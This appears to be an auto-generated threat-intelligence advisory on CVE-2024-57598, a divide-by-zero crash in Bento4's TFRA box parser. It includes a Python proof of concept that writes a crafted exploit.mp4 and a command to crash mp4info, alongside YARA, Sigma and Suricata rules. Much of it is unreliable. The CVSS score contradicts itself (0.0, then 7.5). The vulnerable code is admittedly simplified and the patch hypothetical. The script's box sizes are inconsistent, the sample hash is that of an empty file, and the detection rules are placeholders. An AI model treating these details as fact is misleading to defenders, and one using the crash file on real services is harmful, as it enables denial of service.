CVE-2024-57598

Executive Summary

CVE-2024-57598 is a denial-of-service (DoS) vulnerability in Bento4 version 1.6.0-641, specifically within the AP4_TfraAtom function in Ap4TfraAtom.cpp. The vulnerability is a floating-point exception caused by a divide-by-zero error, which can be triggered by a remote attacker via a crafted MP4 file. This leads to a crash of the application, resulting in a denial-of-service condition. The vulnerability has a CVSS score of 0.0 (pending official scoring), but based on the nature of the flaw, it is assessed as a high-severity DoS issue. No public exploit code or patch is currently available.

Supply Chain & Package Security

Bento4 is a C++ library for MP4 file parsing and is not distributed via NPM, PyPI, Go, or Ruby registries. It is typically integrated as a source-code dependency or compiled directly. Users should verify the integrity of their Bento4 source code and monitor for any official patches or updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely by sending a crafted file.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required beyond processing the file.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – The application crashes, causing a denial of service.

Threat Level: High. The vulnerability is easily exploitable remotely and can cause a complete denial of service.

Deep Dive & Mechanics

The vulnerability resides in the AP4_TfraAtom class within Ap4TfraAtom.cpp. The AP4_TfraAtom function is responsible for parsing the Track Fragment Random Access (TFRA) box in MP4 files. The divide-by-zero error occurs when the function attempts to divide by a value that is zero, likely due to a malformed or missing field in the TFRA box.

Root Cause: The code does not validate that the divisor is non-zero before performing a division operation. An attacker can craft an MP4 file with a TFRA box containing a zero value for a field used as a divisor, causing a floating-point exception (SIGFPE) and crashing the application.

Attack Vector: Remote – The attacker sends a specially crafted MP4 file to a service or application that uses Bento4 for parsing. This could be a media server, a video processing pipeline, or a client application.

Impact: Denial of service – The application crashes, potentially affecting availability for legitimate users.

Vulnerable vs. Patched Code

Vulnerable Code (Bento4 1.6.0-641):

// Ap4TfraAtom.cpp (simplified)
void AP4_TfraAtom::Parse(AP4_ByteStream& stream) {
    // ... parsing logic ...
    unsigned int divisor = ReadField(stream); // Could be zero
    // ... later ...
    unsigned int result = some_value / divisor; // Divide-by-zero crash
}

Patched Code (Hypothetical):

// Ap4TfraAtom.cpp (patched)
void AP4_TfraAtom::Parse(AP4_ByteStream& stream) {
    // ... parsing logic ...
    unsigned int divisor = ReadField(stream);
    if (divisor == 0) {
        // Handle error gracefully
        return; // or throw an exception
    }
    // ... later ...
    unsigned int result = some_value / divisor; // Safe
}

Patch Status: UNKNOWN / UNPATCHED. No official patch has been released by the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bento4 version 1.6.0-641 installed.
• A tool to craft MP4 files (e.g., mp4box, python with struct module).

Exploit Steps:

1. Create a malicious MP4 file with a TFRA box containing a zero divisor.
2. Use a Python script to generate the file:

import struct

def create_malicious_mp4():
    # Minimal MP4 file with a TFRA box
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    traf = b'\x00\x00\x00\x10traf'
    tfra = b'\x00\x00\x00\x10tfra'  # Placeholder
    # Craft TFRA with zero divisor (simplified)
    tfra_data = struct.pack('>I', 0)  # Zero divisor
    tfra = b'\x00\x00\x00\x14tfra' + tfra_data
    moof = b'\x00\x00\x00\x18moof' + traf + tfra
    mdat = b'\x00\x00\x00\x08mdat'
    file_data = ftyp + moov + moof + mdat
    with open('exploit.mp4', 'wb') as f:
        f.write(file_data)

create_malicious_mp4()

3. Run the vulnerable Bento4 tool on the file:

./mp4info exploit.mp4

4. Observe the crash (SIGFPE).

Blue Team (Defense)

Detection:

• Monitor for crashes in applications using Bento4.
• Use file integrity monitoring to detect malicious MP4 files.
• Implement input validation for MP4 files before processing.

Mitigation:

• Apply a patch if available.
• Use a Web Application Firewall (WAF) to filter malicious files.
• Restrict access to Bento4-based services.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Patterns:
  • Inbound MP4 files with unusual TFRA box structures.
• System Logs:
  • Application crash logs containing SIGFPE or floating point exception.
  • Core dumps from Bento4 processes.

Detection Engineering

YARA Rule

rule CVE_2024_57598_Bento4_Divide_By_Zero {
    meta:
        description = "Detects malicious MP4 files exploiting CVE-2024-57598"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $tfra = "tfra" nocase
        $zero_div = { 00 00 00 00 }  // Potential zero divisor
    condition:
        $tfra and $zero_div at (uint32(0) + 8)  // Simplified
}

Sigma Rule

title: Bento4 Divide-by-Zero Crash
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes caused by CVE-2024-57598
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: bento4
detection:
    selection:
        EventID: 1000  # Application Error
        ProviderName: 'Application Error'
        Message: 'Floating point exception'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-57598 Bento4 Divide-by-Zero Attempt"; flow:to_server; content:"|74 66 72 61|"; depth:4; content:"|00 00 00 00|"; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks.
2. Monitor for crashes and block suspicious MP4 files.
3. Apply a vendor patch if released.

Long-term Fixes:

• Upgrade to a patched version of Bento4 when available.
• Implement input validation in the application to reject malformed MP4 files.
• Use a sandbox or container to run Bento4-based services.

Workarounds:

• Disable TFRA box parsing if not required.
• Use an alternative MP4 parsing library.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence.